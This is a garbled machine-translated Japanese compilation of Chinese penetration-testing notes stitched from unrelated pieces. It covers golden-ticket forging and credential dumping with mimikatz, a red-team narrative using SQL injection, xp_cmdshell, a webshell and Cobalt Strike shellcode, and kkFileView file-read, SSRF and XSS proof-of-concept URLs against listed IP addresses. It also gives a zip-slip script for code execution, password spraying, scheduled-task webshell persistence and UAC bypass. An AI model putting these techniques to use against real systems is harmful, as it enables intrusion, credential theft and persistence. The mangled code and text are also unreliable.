トラフィックのワイアシャーク分析を通じて、このモジュールの原則は、LADPを介して属性機能のドメインユーザーを照会し、バッチでAS_REQリクエストパケットを送信し、ハッシュカットブラストに適したフォーマットと出力のためのリターンパケットのNTLMハッシュ暗号化部分を抽出することであることがわかります。 LDAPクエリ サポートされている暗号化タイプはRC4_HMAC のみであることを指定します 返された暗号文は、RC4_HMACを使用して暗号化されています(したがって、徹底的に爆破できます) ゴールドノート 機能 DCと通信する必要があります(ASと対話する必要はありませんが、TGSする必要はありませんが、TGSする必要はありません)。暗号化してTGTを生成します。 KRBTGTのNTLM-HASH値を取得した場合、TGTを偽造できますか? KRBTGTはドメインコントローラーでのみ利用可能であるため、ゴールドの資格情報を使用すると、以前にドメインコントローラーでアクセス許可を取得したことがあり、金の資格情報はバックドアとして理解できます。 原理 1。ドメイン名 2。ドメインのSID値 3.ドメインのKRBTGTアカウントパスワードハッシュ 4.偽装されたユーザー名は任意の場合があります(TGTのサービス寿命は20分以内であり、ドメインコントローラーKDCサービスはTGTのユーザーアカウントを確認しません) Krbtgtのハッシュを取得したら、それを使用してゴールドノートを作成できます DCSYNCの攻撃方法(以下で説明および練習)を通じてKRBTGTのハッシュを取得したとします 条件1:SPNをスキャンしてドメイン名God.org を取得する 条件2:whoami /すべてドメインユーザーSIDを取得し、ドメインSID の最後の文字列を削除します 条件3:KRBTGTアカウントHASH58E91A5AC358D86513AB24312314061 条件4:Forgeユーザー名管理者 条件 MIMIKATZ KERBEROS:3:GOLDEN FORGED TGTを使用します ゴールデンチケットデフォルトグループ: ドメインユーザーSID:S-1-5-21ドメイン-513 ドメイン管理SID:S-1-5-21ドメイン-512 アーキテクチャ管理者SID:S-1-5-21ドメイン-518 エンタープライズ管理者SID:S-1-5-21ドメイン-519(フォレッドルートドメインに鍛造チケットが作成された場合にのみ有効ですが、ADフォレスト管理者の許可に使用/SIDSパラメーターを追加) グループポリシー作成者の所有者SID:S-1-5-21ドメイン-520 mimikatz.exe 'kerberos:3360golden /domain:god.org /sid3:s-1-5-21-2952760202-1353902439-2381784089 /usersistrator /KRBTGT:58E91A5AC358D86513AB24312314061 /TICKET:K0U.KIRIBI '出口 TIP:は、請求書の有効期間と更新請求書の最大妥当性期間を変更するために、追加/endin:xx /rengingmax:xxを追加できます。 Mimikatzはデフォルトで10年です 生成されたチケットは、他のドメインマシンにインポートできます。または、TGTを /PTTを使用してメモリに直接注入できます。 最初にチケットキャッシュKlist Purge をクリアします 次に、mimikatzkerberos:ptt k0u.kiribi 経由でキャッシュされた請求書に注入します KLISTはチケットキャッシュをチェックし、偽造されたTGTを見ることができます
  4. 序文 少し前に、私は攻撃的で防御的なドリルに参加しました。従来の脆弱性を使用した後、私は多くのマスターがJSのブレークスルーを探している記事を共有していると思ったので、私はJSを始めたばかりで、ついにターゲット許可と個人情報を取得するためにイントラネットの入り口を開きました。ここでプロセスを共有しましょう。 ステートメント:このドリルでは、すべてのテスト機器がオーガナイザーによって提供され、すべてのトラフィックは監査のためにアーカイブされ、すべての操作は承認の下で完了し、すべてのデータは終了後に安全に破壊されました。 JS を実行します 最初は1つのログインページのみがあり、ユーザー名を列挙できず、爆発の試みが失敗しました。 BPを使用してパケットをキャッチしてJS関連のファイルを表示し、SQLステートメントがあることを見つけます comboxSQL変数を追跡し、アクションクラスが定義されていることを発見します このAction ClassPathを検索し、アクセス方法がURLステッチを使用していることを確認します。 パスがスプライスされ、パラメーターがSQLステートメントに入力されます。このテストでは、データベースがMSSQLデータベースであることがわかりました。システムコマンドは、XP_CMDSHELLを介して実行できます。 シェルコデロデーターはオンラインで入手できます システム許可を実行した後、CSを殺さずにリモートダウンロードを使用してオンラインになることを計画しましたが、正常に起動しませんでした。 360エンタープライズクラウドがあることがわかりました。これにより、EXEの実行の切片がトリガーされました。 あなたの思考を変えてください。 GodzillaのWebShellをダウンロードした後、GodzillaのShellCodeloader関数を使用して、独自のCS Trojanシェルコードをロードしてオンラインになります。 データベース構成情報を復号化する exeファイルが実行されると、アクセスが拒否され、ファイルが実行できないためです。ローカル構成ファイルを検索することにより、データベースアカウントのパスワードが見つかりましたが、データベースパスワードは暗号化されました。 履歴Webサイトのバックアップファイルを検索することにより、システムの初期構成ファイルはデータベースパスワード暗号化用に構成されておらず、テストではデータベースに接続できることがわかりました。 このシステムのデータベースバックアップファイルを調べると、サーバーによって展開された別のビジネスシステムを誤って発見し、データベース構成ファイルのアカウント番号、パスワード、およびデータベースIPも暗号化されたストレージです。 システムの特性を見つけることにより、サイトサーバーCMSシステムとして発見されます。オンライン検索から、このCMSの専用暗号化と復号化ツールであるSiteserver CLIが見つかりました。 を実行した後、データベースPlantext構成情報を取得することもできます server=x.x.x.x; uid=sa; pwd=xxcsthink!@#123; database=newdfgxxcsプロキシを接続し、テスト接続が成功します ただし、データベースサーバーはEXEプログラムを実行できず、Mimikatzを実行して管理者ハッシュを読み取ることができず、ユーザーを作成できず、TSCANをイントラネットスキャンにアップロードできなかったため、ここに滞在するのは恥ずかしくなりました。最後に、CSSプラグインの情報検出を使用して、イントラネットセグメント資産を検出します。 17010プラグイン攻撃を使用しても失敗しました プロキシチャインを使用してMSFと協力して、PC許可を取得する Mimikazを使用して管理者のパスワードを読み取り、リモートデスクトップを有効にし、ログインすることが不可能であることがわかります。 MSFロードMimikazモジュール 特権:Debug TS:MultirdP イントラネット権限を取得 新しいユーザーを作成して、個人のPCコンピューターを入力する ベースとしてこのPCを介して、TidefingerとTSCANをアップロードしてイントラネットスキャンを実行します。ここでこれら2つのツールを紹介する必要があります。 GO言語バージョンのTidefinger指紋認識機能:1。Dismap、VSCAN、KSCAN、FOFA、Serverscan、およびその他の指紋2を追加しました。 3.ディスプレイ効果は解体から借用されており、現在、効率と指紋のカバレッジの点で高くなるはずです。 GO言語バージョンのTSCAN関数:1。TSCANは、TIDEセキュリティチームが共同で維持する内部および外部ネットワークアセットスキャンツールです。 2。基本コードはFSCAN 3の更新に反復します。ChaoshengPoc脆弱性検出プラットフォームにリンクして、チームメンバーは毎月公開された最近のPOCを書き込み、公開されたPOCをインターネット上で定期的に収集および整理し、最終的に更新してリリースします。 イントラネットネットワークセグメントをスキャンした後、次のステップは脆弱性検証プロセスです。私はそれをちらっと見て、直接ぶつかることができる穴を見つけませんでした。ただし、指紋は、イントラネットIPの1つがポート2222でRMIとして開かれたことを検出しました。 サーバーは許可を取得していますが、このサーバーで情報を収集する際に、他の関連するアカウントのパスワード情報は見つかりませんでした。 samファイルユーザーハッシュを取得 MimikazでSekurlsa:3:LogonPassWordsコマンドを使用して、プロセスLSAの情報を読み取って、現在ログに記録されているユーザーのパスワード情報を取得します。出力の結果は、管理者などのユーザー情報がないことを示しています(主に、CSを使用する許可を使用する場合、ソフトキリング戦略がトリガーされ、サーバーが再起動されると推定されているため)。次に、クエリユーザーを使用して、管理者ユーザーがオンラインではないことがわかりました。そのため、メモリを介して管理者のハッシュを直接読み取ることはできません。 Mimikazを使用して、SAMファイルでハッシュを読み取ります。 #ELEVATE権限 特権:Debug #ELEVATE SYSTEM token:3360Elevate #crawl sam lsadump3:SAM ハッシュ配信 NTLMハッシュを取得した後、オンラインWebサイトからプレーンテキストパスワードを直接解読できないことがわかりました。取得したNTLMハッシュは、ハッシュを通過して4つのサーバーの権限を取得します。 次に、ハッシュを使用してサーバーにログインし、情報を収集し続けます。ネスティング人形のリモートデスクトップはサーバーの1つで見つかり、03システム用でした サーバーパスワードを取得するためのルール Mimikazを介してこのパスワードを読む(KB2871997の前、MimikatzはPleantextパスワードを直接つかむことができます) *username3360administrator *domain:win-laolovgmf *password:
  5. 1。ミス 1.Sudoku_easy シンプルな数独身、注意を払うためのいくつかの小さなポイント、各レベルが送信されてから5秒後に睡眠をとって、質問が眠りに返されます 形を次のようにします --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- - 800103720 023840650 410006008 300001062 0052407 072060090 160000375 205019846 000030000 --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- - 2次元配列に変換して数独を解き、戻り結果をマルチライン文字列に再変換します def parse_input(input_list): ボード=[] input_list:の行 nums=list(map(int、row)) board.append(nums) 返品ボード def format_output(board): formatted='' ボード:の行 formatted +='' .join(map(str、row)) + '\ n' return formatted.strip() 最初は、5ポイントを獲得するたびに120ポイントを獲得する必要があり、24回の範囲を持っていると思いましたが、問題を抱えていました。その後、スコアが増加したことがわかりました。同時に、私はデバッグし、120ポイントを獲得した場合、ゲッシェルを返すため、範囲を7回変更したことがわかりました。 最終スクリプト: def find_empty(board): 範囲の行(9):の場合 範囲のcol(9):の場合 ボード[row] [col]==0:の場合 Return Row、col なしなし def is_valid(board、num、pos): 行、col=pos 範囲のIの場合(9): ボード[row] [i]==numおよびcol!=i:の場合 falseを返します ボード[i] [col]==num and row!=i:の場合 falseを返します box_row=row //3 box_col=col //3 範囲のi(box_row * 3、box_row * 3 + 3): range(box_col * 3、box_col * 3 + 3):の場合 ボード[i] [j]==numおよび(i、j)!=pos:の場合 falseを返します trueを返します def solve(board): find=find_empty(ボード) find:がない場合 trueを返します else: 行、col=find 範囲(1、10):のIの場合 is_valid(board、i、(row、col)):の場合 ボード[row] [col]=i 解決(ボード):の場合 trueを返します ボード[row] [col]=0 falseを返します def parse_input(input_list): ボード=[] input_list:の行 nums=list(map(int、row)) board.append(nums) 返品ボード def format_output(board): formatted='' ボード:の行 formatted +='' .join(map(str、row)) + '\ n' return formatted.strip() #input_string='' '------------------------- #800103720 #023840650 #410006008 #300001062 #000052407 #072060090 #160000375 #205019846 #000030000 #---------------------------- #今、私にあなたがsolve: '' 'を与えてください #リスト=input_string.split( '\ n')[1:10] #ボード=parse_input(lists) #印刷(ボード) #solve(ボード) #印刷(ボード) PWNインポートから * #接続を作成します conn=remote('47 .108.165.60 '、27539) #ウェルカムメッセージを受け取ります 範囲のIの場合(7): msg=conn.recvuntil( '入力:')。ストリップ()。デコード( 'utf-8') 印刷(msg) #選択を送信します conn.sendline( '1'.encode()) #次のプロンプトを受信します msg=conn.recvuntil( 'level:'を選択してください)。ストリップ()。デコード( 'utf-8') 印刷(msg) conn.sendline( '5'.encode()) msg=conn.recvuntil( 'clock start')。strip()。decode( 'utf-8') 印刷(msg) time.sleep(5) msg=conn.recvuntil( '今私にsolve:'を与えます)。sprip()。decode( 'utf-8') 印刷(msg) lists=msg.split( '\ n')[1:10] board=parse_input(lists) SOLVE(ボード) solved=format_output(board) conn.sendline(solved.encode()) conn.Interactive() または PWNインポートから * def is_valid(board、row、col、num): #行が合法かどうかを確認してください 範囲のIの場合(9): ボード[row] [i]==num:の場合 falseを返します #列が合法かどうかを確認してください 範囲のIの場合(9): ボード[i] [col]==num:の場合 falseを返します #9番目の広場が合法かどうかを確認してください start_row=(row //3) * 3 start_col=(col //3) * 3 範囲のIの場合(3): 範囲(3):のJの場合 ボード[start_row + i] [start_col + j]==num:の場合 falseを返します trueを返します def solve_sudoku(ボード): 範囲の行(9):の場合 範囲のcol(9):の場合 ボード[row] [col]==0:の場合 範囲のnum(1、10):の場合 is_valid(Board、row、col、num):の場合 ボード[row] [col]=num solve_sudoku(ボード):の場合 trueを返します ボード[row] [col]=0#バックトラッキング falseを返す#すべての数字が試され、適切な数字が見つかりませんでした trueを返します def print_sudoku(board): a='' 範囲の行(9):の場合 範囲のcol(9):の場合 a +=str(board [row] [col]) a+='\ n' A.Strip()を返します context.log_level='debug' p=remote('47 .108.165.60 '、23479) p.recv() 範囲のIの場合(7): P.Sendline( '1') P.Recvuntil( 'レベル:を選択してください') P.Sendline( '5') a='------------------- \ nnow shive you solve:' content=p.recvuntil(a).decode()。分割(a)[0] [-130:] sudoku=content.split( '-------------------')[1] sudoku=sudoku.strip() sudoku=sudoku.split( '\ n') tmp=[] sudoku:のsudoの場合 a=sudoのsの[int(s)] TMP.Append(a) solve_sudoku(tmp):の場合 result=print_sudoku(tmp) log.info(結果) result.split( '\ n'):のラインの場合 p.send(line) #content=p.recv()。decode() p.interactive() 独立した数独復号化スクリプト: クラスsudoku(): def __init __(self、sudo_ku_data): ISInstanceではない場合(sudo_ku_data、list): Raise TypeError(f'sudo_ku_data paramsはリストでなければなりませんが、{sudo_ku_data}は{type(sudo_ku_data)} 'です。 Len(sudo_ku_data)!=9またはlen(sudo_ku_data [0])!=9:の場合 タイプエラーを上げる( f'sudo_ku_data paramsは9*9のリストでなければなりませんが、{sudo_ku_data}は{len(sudo_ku_data)}*{len(sudo_ku_data [0])} list ')です。 self.sudo_ku=sudo_ku_data #既存のデータを各行に保存します self.envery_row_data={} #各列の既存の数字 self.every_column_data={} #3*3ごとに self.envery_three_to_three_data={} #空席の場所 self.vacant_position=[] #各空席で試した数字 self.every_vacant_position_tried_values={} #データを初期化します self._init() def _add_row_data(self、row、value): '' ' 初期化の場合 self.envery_row_dataにデータを追加します :param row: :Param Value: :RETURN: '' ' rowがself.envery_row_data:にない場合 self.every_row_data [row]=set() self.envery_row_data [row] :の値の場合 Raise TypeRror(f'params {self.sudo_ku}は無効な数独') self.every_row_data [row] .add(value) def _add_column_data(self、column、value): '' ' 初期化の場合 self.envery_column_dataにデータを追加します :Param Column: :Param Value: :RETURN: '' ' columnがself.envery_column_data:にない場合 self.every_column_data [column]=set() self.envery_column_data [列] :の値の場合 Raise TypeRror(f'params {self.sudo_ku}は無効な数独') self.every_column_data [column] .add(value) def _get_three_to_three_key(self、row、column): '' ' 3*3キーごとに取得します :param row: :Param Column: :RETURN: '' ' [0、1、2] :の行の場合 [0、1、2] :の列の場合 key=1 [3、4、5] :の列列 key=2 else: key=3 [3、4、5] :のElif Row [0、1、2] :の列の場合 キー=4 [3、4、5] :の列列 key=5 else: key=6 else: [0、1、2] :の列の場合 key=7 [3、4、5] :の列列 key=8 else: key=9 キーを返します def _add_three_to_three_data(self、row、column、value): '' ' 初期化の場合 self.envery_three_to_three_dataにデータを追加します :param row: :Param Column: :Param Value: :RETURN: '' ' key=self._get_three_to_three_key(列、列) key.enty.envery_three_to_three_data:ではない場合 self.every_three_to_three_data [key]=set() self.every_three_to_three_data [key] .add(value) def _init(self): '' ' 入ってくる数独に基づいてデータを初期化します :RETURN: '' ' rowの場合、row_datas in enumerate(self.sudo_ku): 列の場合、値の値(row_datas): value=='' :の場合 self.vacant_position.append((列、列)) else: self._add_row_data(row、value) self._add_column_data(列、値) self._add_three_to_three_data(row、column、value) def _judge_value_is_legal(self、row、column、value): '' ' 当事者によって配置されたデータが合法かどうかを判断する :param row: :Param Column: :Param Value: :RETURN: '' ' #このデータの行に値は存在しますか self.envery_row_data [row] :の値の場合 falseを返します #このデータの列に値は存在しますか self.envery_column_data [列] :の値の場合 falseを返します #値この3*3の宮殿は存在しますか? key=self._get_three_to_three_key(列、列) self.envery_three_to_three_data [key] :の値の場合 falseを返します trueを返します def _calculate(self、vacant_position): '' ' 計算して、数独に値の配置を開始します :PARAM VACANT_POSITION: :RETURN: '' ' #現在の場所を取得します 行、列=facant_position 値=set(範囲(1、10)) #現在の場所が現在の場所で試されたデータを保存するための一意のキーを作成します key=str(row) + str(列) #このキーが存在する場合は、値の差を取得します。両方ともセットであるため、直接使用するだけです - self.envery_vacant_position_tried_values:のキーの場合 値=values-self.envery_vacant_position_tried_values [key] #このキーが存在しない場合は、空のコレクションを作成します else: self.every_vacant_position_tried_values [key]=set() 値の値: #現在のデータを現在の場所で試されたデータに追加します self.every_vacant_position_tried_values [key] .add(value) #現在の値が合法である場合、配置できます self._judge_value_is_legal(row、column、value):の場合 #print(f'set {vacant_position}値は{値} ')
  6. re emoji connect はExcelプラグインです。プレイを開始した後、4848マトリックスが初期化されます。各グリッドには絵文字があり、その後、毎回2つのグリッドがクリックされます。 2つのグリッドの絵文字が同じ場合、これらの2つのグリッドは排除されます。最初は、星などの3つのグリッドの排除だと思っていましたが、ゲームのロジックを見ると一度に2つしか置き換えなかったので、次々に見ました。次に、フラグのロジックは、グリッドが排除されるたびにグリッドの行を差し引くことです。添え字は、魔法の方法を使用してUnicodeから転送されます。マトリックス内の絵文字の最小値を直接使用して、下付き文字をオフセットします。 dat='' '
  7. 0x00 Kkfileview には任意のファイル読み取り脆弱性があります 脆弱性説明Kkkfileviewは、中国でファイルドキュメントを作成するためのスプリングブートオンラインプレビュープロジェクトです。 KkkfileviewのKekingには、ディレクトリトラバーサルの脆弱性を介して任意のファイルを読み取ることの存在に由来するセキュリティの脆弱性があり、関連するホストに機密ファイルが漏れている可能性があります。 脆弱性はkkfileview=3.6.0に影響します fofa query body='kkfile:view' 脆弱性の証明 http://103.39.221.102:8012 //getCorsFile?urlpath=file: ///etc/passwd 0x01 KKFILEVIEW SSR脆弱性 脆弱性説明KKFileview v4.1.0にはSSRFの脆弱性があります。攻撃者は、この脆弱性を悪用して、サーバー側のリクエスト偽造(SSRF)を引き起こす可能性があります。リモート攻撃者は、URLをURLパラメーターに注入して、アプリケーションに要求を強制的に発行できます。 脆弱性はkkfileview=v4.1.0に影響します 脆弱性の証明 http://121.40.238.4833608012 //getCorsFile?urlPath=AHR0CDOVL2QYYJY0NWQ3LMRUCY5KBNNTYXAUB3JN 0x03 kkfileview XSS脆弱性 脆弱性説明KKFILEVIEW V4.1.0には2つのXSS脆弱性があり、ウェブサイトCookieのリークにつながる可能性があります。 脆弱性はkkfileview=v4.1.0に影響します 脆弱性証明3http://www.baidu.com/test.txt'img src=111 oneerror=alert(1) base64:のエンコード ahr0cdovl3d3d3d3d3d3iywlkds5jb20vdgvzdc50ehqipjxpbwcg3jptexmsbvvmvycm9ypwfszxj0kdeppg== URLエンコード: AHR0CDOVL3D3D3D3D3D3IYWLKDS5JB20VDGVZDC50EHQIPJXPBWCGC3JPTEXMSBVVMVYCM9YPWFSZXJ0KDEPPG%3D%3D POC1: /onlinepreview?url=%3cimg%20src=x%20onerror=alert(0)%3e /picturespreview?urls=ahr0cdovl3d3d3d3d3d3d3iywlkds5jb20vdgvzdc50ehqipjxpbwcg3jptexmsbvvbmvycm9ypwfszxj0kdeppg%3d%3d http://139.9.99.164.127:8012/onlinepreview?url=%3cimg%20src=x%20onerror=alert(0)%3e http://119.91.146.127:8012/picturespreview?urls=ahr0cdovl3d3d3d3d3d3dy5iywlkds5jb20vdgvzdc50ehqipjxpbwcg3jptexmbvbbvvbbvvvmvycm9ypfsxxj0kepgkepgkepgkepgkdpgd svg/onload=alert(1)base64:のエンコード phn2zy9vbmxvywq9ywxlcnqomsk+ URLエンコード: phn2zy9vbmxvywq9ywxlcnqumsk%2b POC2: /picturespreview?urls=currenturl=phn2zy9vbmxvywq9ywxlcnqomsk%2b http://119.91.146.127:8012/picturespreview?urls=culrenturl=phn2zy9vbmxvywq9ywxlcnqumsk%2b 0x04 kkfileview任意のファイルをアップロードして、XSSとファイルインクルージョンの脆弱性をもたらします 脆弱性説明KKFileViewのバージョン全体にファイル解決脆弱性があります。攻撃者は、この脆弱性を使用して、ストレージXSS、ファイル包含、またはSSRFを作成できます。リモート攻撃者は、JavasRiptスクリプトをサーバーにアップロードすることにより、アプリケーションを永続的に使用して攻撃要求を発行できます。 脆弱性はkkfileview=4.1.0に影響します 脆弱性証明1。ファイルをアップロードします 2。脆弱性の場所にアクセスします http://139.9.101.60:8012/demo/2.html 2。ファイルには次のものが含まれます。 https://file.keking.cn/demo/test1.js アクセス: https://file.keking.cn/demo/test14.html 0x05 kkfileview任意のファイル削除脆弱性 脆弱性の説明 kkfileview v4.0.0には任意のファイル削除脆弱性があり、システム内のファイルが削除される可能性があります 脆弱性の影響 kkfileview=v4.0.0 脆弱性証明 /deletefile?filename=demo%2f.ionss.pdf このURIへのリクエストの取得は、\ kkfileview-master \ server \ src \ main \ fileディレクトリのxss.pdfを削除します(元々、\ kkfileview-master \ server \ src \ main \ file \ demoディレクトリの下のファイル) 0x06 KFILEVIEW-V4.3.0〜V4.40-BETA RCE脆弱性 脆弱性への影響:V4.2.1とV4.2.0は両方の影響、4.1.0は影響を受けません ファイルをアップロード インポートzipfile __name__=='__main __' :の場合 try: binary1=b'1ueeeeeee ' binary2=b'hacked_by_1ue ' zipfile=zipfile.zipfile( 'hack.zip'、 'a'、zipfile.zip_deflated) info=zipfile.zipinfo( 'hack.zip') zipfile.writestr( 'test'、binary1) zipfile.writestr( '././././././././././././././././././././././///./tmp/flag'、binary2) zipfile.close() e:としてのioerrorを除く eを上げる hack.zip_cacheファイルの作成を容易にするには、悪意のあるhack.zipを作成します。 ファイルとプレビューをアップロードします 成功した旅行を発見してください rce 任意のファイルをアップロードし、ファイルの内容を追加できます 私の調査の後、私はターゲットがODTをPDFに使用するときにシステムのLibreofficeを呼び出すことを発見し、このプロセスはライブラリのUno.pyファイルを呼び出すため、Pyファイルのコンテンツを上書きすることができます。 zipfileをインポートします __name__=='__main __' :の場合 try: binary1=b'1ue ' binary2=b'import os \ r \ nos.system(\ 'touch /tmp /hack_by_1ue \') ' zipfile=zipfile.zipfile( 'hack.zip'、 'a'、zipfile.zip_deflated) info=zipfile.zipinfo( 'hack.zip') zipfile.writestr( 'test'、binary1) Zipfile.Writestr( '././././././././././././././././././././././オプション/./. zipfile.close() e:としてのioerrorを除く eを上げる 悪意のあるzipパッケージのアップロードとプレビュー 次に、ODTファイルをアップロードし、LibreOfficeタスクを開始してアップロードおよびプレビューします コマンドが正常に実行されたことがわかります コンテンツは確かにuno.pyで書かれています
  8. 0x01。 netlocalgroupgetMembers 関数:ターゲットサーバーローカル管理グループのクエリメンバー 0x02。 netlocalgroupenum 機能:指定されたサーバーのすべてのローカルグループを返します 0x03。 netgroupgetusers 機能:指定されたサーバーと指定されたグループのすべてのメンバーを返します ドメイン内の各グループのメンバーをクエリし、IPはドメインコントロールIPでなければなりません 0x04。 Netuserenum 機能:非表示のユーザーを含むターゲットサーバーのすべてのユーザーをクエリします 0x05。 wnetaddconnection2a 機能:IPC接続を確立します。これにより、ターゲット共有ディレクトリをローカルディスクにマッピングできます 0x06。 wnetcancelconnection2 関数:IPC接続を削除します 0x07。 Enudomainuser 関数:ドメインユーザーを列挙します 1。はじめに 適用可能:現在の境界マシンのアクセス許可は、ワーキンググループマシンです。 NLTESTやNBTSCANなどのツールを介して、イントラネットにはドメイン環境があり、ドメイン制御IPが見つかっていることがわかりますが、侵入のアイデアはドメインユーザーの許可にはありません。 前提条件:ドメインコントロールとの空の接続を確立する能力 実装の原則:ドメインマネージャーには、デフォルトで管理者ユーザーがいます。管理者ドメインマネージャーのSIDは、Windows APIを介して見つかり、SID範囲を反復し、ドメインメンバー(ドメインユーザーとドメインマシン)を列挙します。 SID範囲:ドメインユーザーとドメインマシンのSIDは一般に1000を超えているため、ツールを使用する場合、SIDを1000を超えて横断します 2。ツールの使用 ヘルプ: c: \ uses \ administrator \ desktopenudomainuser.exe usage: enudomainuser.exe dc-ip domainname \ username start sid end sid t_num Enudomainuser.exe \\ 192.168.52.2 Hack \ Administrator 1000 2000 100 enudomainuser.exe \\ドメインコントロールIPドメイン名\ドメインユーザー名デフォルト管理者SID END SID番号 デモを使用します: Enudomainuser.exe 192.168.52.2 Hack \ Administrator 1000 2000 100 パラメーター説明: 192.168.52.2はドメインコントロールIPです ハックはドメイン名です 管理者は、ドメイン管理のデフォルトユーザーです 1000はトラバーサルSIDの始まりです 2000はトラバーサルSIDの終わりです - 10000、20000など、少し高く設定できます。 100はマルチスレッドの数です 0x08。 blastdomainuserpwd 機能:ドメインユーザーパスワードをブラストします 1。はじめに IPC経由で接続- ブラストドメインユーザーのパスワード EnudomainuserツールまたはKerbruteツールを組み合わせて、ドメインユーザー名リストを取得してからバースト 360に殺された場合は、exe名を変更するだけです デザインのアイデア: ドメインコントロールとの空の接続を確立できる場合は、Enudomainuserツールを使用して、すべてのドメインユーザー名を列挙してトラバースします ドメインコントロールとの空の接続を確立できない場合は、kerbruteツールを使用してドメインユーザー名を爆破します ドメインユーザー名のバッチを取得した後、ドメインユーザーパスワードの弱いパスワードを破ろうとし始めます ドメインユーザーのパスワードに強度要件がある場合は、強力なパスワードを爆破してみてください。例:P@SSW0RD、1QAZ@WSXなど。 2。ツールの使用 usage: blastdomainuserpwd.exe domaincomputerip domainuser.txtパスワードt_num blastdomainuserpwd.exe \\ 192.168.52.29 domainuser.txtパスワード100 blastdomainuserpwd.exe \\ドメインマシンIPドメインユーザー名辞書パスワード数のマルチスレッドを爆破しようとするパスワード ドメインユーザー名辞書形式の仕様:ドメイン名\ドメインユーザー名 domain \ user 実行の例:BlastDomainUserpwd.exe \\ 192.168.52.2 domainuser.txt 1qaz@wsx 3 ドメインユーザーパスワードが正常に爆破されたことは、現在のディレクトリのsuccess.txtテキストに保存されます 0x09。 schtaskbackdoorwebshell 機能:タスクメンテナンスのWebシェルをスケジュールします 1。適用可能なシナリオ: ディフェンダーは保護ネットワークでウェブシェルを発見し、それをクリアしました。脆弱性も修正されました。その後、ウェブサイトが復元されたとき、ウェブシェルをアップロードできなくなり、ウェブシェルはスケジュールされたタスクを通じて書き換えられました。 2。条件: 管理者の許可。スケジュールされたタスクを作成するには、管理者の権限が必要です 3。使用方法: xxxx.exe C: \ www \ upload \ 1.jsp 4。実装プロセス: c: \ www \ upload \ 1.jspのコンテンツをC: \ windows \ temp \ tempsh.txtにコピーしてから、計画されたタスクを作成します。実行されたコマンドはC: \ Windows \ System32 \ cmd.exe /c Copy C: \ Windows \ Temp \ Tempsh.txt C: \ www \ upload \ 1.jsp、30分ごとにトリガーされます。 5。ビデオディスプレイ: 0x10。 regeditbypassuac 関数:UAC経由でexeを実行します。コンパイルされたEXEはWin10にのみ適していますが、Win7ではありません。 1。特定のプロセス ホワイトリストプログラムレジストリバイパッソック 2。ビデオデモンストレーション 0x11。 DelegationVul 機能:内部ドメインの制約委任の検出 1。制約付き委任の利用 制約付き委任の利用 2。ビデオデモンストレーション 3。リソースベースの制約委任の利用 リソースベースの制約付き委任の利用 4。ビデオデモンストレーション 0x12。 360SafebrowserDecrypt 関数: ターゲットマシンで直接実行しますが、殺すしかありません 360SafebrowserDecrypt.exe ターゲットマシンIDとASSIS2.DBデータベースをローカル復号化にドラッグします マシンID:を確認してください reg query 'hklm \ software \ microsoft \ cryptography' /v 'machineguid' 360セーフブラウザーインストールディレクトリ:を確認してください reg query 'hkcr \ 360seses \ defaulticon' デフォルトのASSIS2.DBデータベースディレクトリ: c: \ users \
  9. 毎日の手順の簡単な説明 エントリ許可=イントラネットの収集/検出=殺害の免除[不要]=クロールログイン資格情報=クロスプラットフォームhorizontal=エントリメンテナンス=データリターン=通常の許可メンテナンス 0x01エントリ許可へのアクセス[早期偵察では、コレクション段階には多くの防御可能なポイントがなく、防衛の中心ではありません] 1。CDN周辺のすべての実際のIPセグメントを見つけます(1)。全国の複数のpingを通して、IPアドレスがCDNhttp://PING.com/https://Tools.ipip.net/ping/ping/ping.phphttps://www.17ce.com/3https://ww.cdnplanet.com/tools/cdnfinder/(cdnfinder/(2)かどうかを判断するために一意かどうかを確認してください。以前のDNSバインディング履歴レコードを通じて、実際のIPアドレスhttps://x.Threatbook.cn/https://Viewdns.info/https://www.ip138.com/http://toolbar.netcraft.com/site_report?url=3333https://securitytrails.com/(3)を見つけてください。複数のサブドメインを取得し、バッチ内の複数のサブドメインをpingすることにより、サブドメインのIPを決定できます。セグメントは実際のIPセグメントです(メインサイトはCNDを使用しますが、サブドメインサブサイトはCDNを使用して解決しません)レイヤーサブドメインがExcavator/googlehackinghttps://phpinfo.me/domain/http://tool.chinaz.com/subdomain/https://github.com/lijiejie/subdomainsbrute(4)。 SSL証明書を使用して、実際の元のIPhttps://C essys.io/https://crt.sh/(5)を見つけます。外国人ホストを使用してドメイン名https://asm.ca.com/zh_cn/ping.phphttps://asm.saas.broadcom.com/zh_cn/register.php3359dnscheck.pingdom.com(6)を解決します。 PHPINFOやGitHubに敏感な情報漏れまたはApacheステータス、JBOSSステータス敏感な情報漏れ、Webソースコードの漏れ、SVN情報漏れ文字、GitHub情報漏れ(7)などのWebサイトの脆弱性検索。ウェブサイトの電子メールサブスクリプションRSS電子メールサブスクリプションを探します。多くのウェブサイトにはsendmailが付属しており、メールを送信します。現時点では、電子メールソースコードをチェックするには、サーバーの実際のIPが含まれます。 (8)。 CDNに侵入し、抜け穴または弱いソーシャルワーカーのパスワードを介して入力します。 (9)。 ZMAPとZgrabのフルネットワークスキャンを介して実際のIPを取得します。 https://www.ip2location.com/free/visitor-blocker3https://www.ipdeny.com/ipblocks/3https://www.t00ls.net/articles-40631.html(Zgrab)3https://levyhsu.com/2017/05/05/5%888%A8%A8%A8%a8です94%a8zgrab%e7%bb%95cdn%e6%89%be%e7%9c%9f%e5%ae%9eip/http://bobao.360.cn/learning/detail/211.html(zmap)(10)。 https://www.zoomeyee.orgshodan:https://www.shodan.iofofa:https://fofa.s(11)。 ping 163.conの場合、バイパスできます(12)。前のものの古いドメイン名はping(13)を使用できます。 F5 LTMデコードメソッドサーバーがロードバランスにF5 LTMを使用する場合、実際のIPは、Set-Cookie: Bigipserverpool_8.29_8030=487098378.24095.0000などのSet-Cookieキーワードをデコードすることで取得することもできます。最初に最初のセクションの小数を取り出し、つまり487098378を取り出し、次に16進数1D08880Aに変換し、次に背面から前面に変換し、4桁の番号、つまり0A.88.08.1Dを取得し、最終的にそれらを10桁に変換します。ターゲットを見つけるためのさまざまなWeb管理バックエンドログインポート(1)ターゲットWebバナーツールのすべての実際のCセグメント:iisput (2)。バッチベーシックサービスポートスキャン、検出、およびターゲットのすべての実際のCセグメントの識別ツール:Yujian Port Scan、Goby (3)。ターゲットDNSがエリアトランスミッションを許可するかどうかを試してください。許可されていない場合は、サブドメインDNSドメイン送信を爆破しようとします:C: \ users \ ljnslookupデフォルトサーバー:不明: 211.82.100.1サーバー125.223.168.5 LS 